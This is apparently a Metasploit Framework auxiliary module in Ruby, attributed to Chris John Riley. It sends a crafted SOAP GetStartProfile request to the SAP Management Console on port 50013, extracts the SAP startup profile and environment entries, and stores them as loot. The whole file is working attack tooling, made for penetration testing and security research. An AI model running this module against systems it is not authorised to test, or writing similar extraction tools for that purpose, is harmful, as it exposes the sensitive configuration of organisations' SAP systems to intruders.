##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'         => 'SAP Management Console getStartProfile',
			'Version'      => '$Revision$',
			'Description'  => %q{
				This module simply attempts to acces the SAP startup profile
				through the SAP Management Console SOAP Interface.
				},
			'References'   =>
				[
					# General
					[ 'URL', 'http://blog.c22.cc' ]
				],
			'Author'       => [ 'Chris John Riley' ],
			'License'      => MSF_LICENSE
		)

		register_options(
			[
				Opt::RPORT(50013),
				OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
			], self.class)
		register_autofilter_ports([ 50013 ])
		deregister_options('RHOST')
	end

	def rport
		datastore['RPORT']
	end

	def run_host(ip)
		res = send_request_cgi({
			'uri'      => "/#{datastore['URI']}",
			'method'   => 'GET',
			'headers' => {
					'User-Agent' => datastore['UserAgent']
				}
		}, 25)

		if not res
			print_error("#{rhost}:#{rport} [SAP] Unable to connect")
			return
		end

		getStartProfile(ip)
	end

	def getStartProfile(rhost)
		verbose = datastore['VERBOSE']
		print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface")
		success = false
		soapenv ='http://schemas.xmlsoap.org/soap/envelope/'
		xsi ='http://www.w3.org/2001/XMLSchema-instance'
		xs ='http://www.w3.org/2001/XMLSchema'
		sapsess ='http://www.sap.com/webas/630/soap/features/session/'
		ns1 ='ns1:GetStartProfile'

		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
		data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
		data << '<SOAP-ENV:Header>' + "\r\n"
		data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
		data << '<enableSession>true</enableSession>' + "\r\n"
		data << '</sapsess:Session>' + "\r\n"
		data << '</SOAP-ENV:Header>' + "\r\n"
		data << '<SOAP-ENV:Body>' + "\r\n"
		data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
		data << '</SOAP-ENV:Body>' + "\r\n"
		data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

		begin
			res = send_request_raw({
				'uri'      => "/#{datastore['URI']}",
				'method'   => 'POST',
				'data'     => data,
				'headers'  =>
					{
						'Content-Length' => data.length,
						'SOAPAction'     => '""',
						'Content-Type'   => 'text/xml; charset=UTF-8',
					}
			}, 15)

			env = []

			if res.code == 200
				case res.body
				when nil
					# Nothing
				when /<name>([^<]+)<\/name>/i
					name = $1.strip
					success = true
				end

				case res.body
				when nil
						# Nothing
				when /<item>([^<]+)<\/item>/i
						body = []
						body = res.body
						env = body.scan(/<item>([^<]+)<\/item>/i)
						success = true
				end

			elsif res.code == 500
				case res.body
				when /<faultstring>(.*)<\/faultstring>/i
					faultcode = $1.strip
					fault = true
				end

			end

		rescue ::Rex::ConnectionError
			print_error("#{rhost}:#{rport} [SAP] Unable to connect")
			return
		end

		if success
			print_good("#{rhost}:#{rport} [SAP] Startup Profile Extracted: #{name}")
			store_loot(
				"sap.profile",
				"text/xml",
				rhost,
				res.body,
				"sap_profile.xml",
				"SAP Profile XML"
			)

			env.each do |output|
				print_status("#{output[0]}")
			end


		elsif fault
			print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
			return
		else
			print_error("#{rhost}:#{rport} [SAP] failed to request environment")
			return
		end
	end
end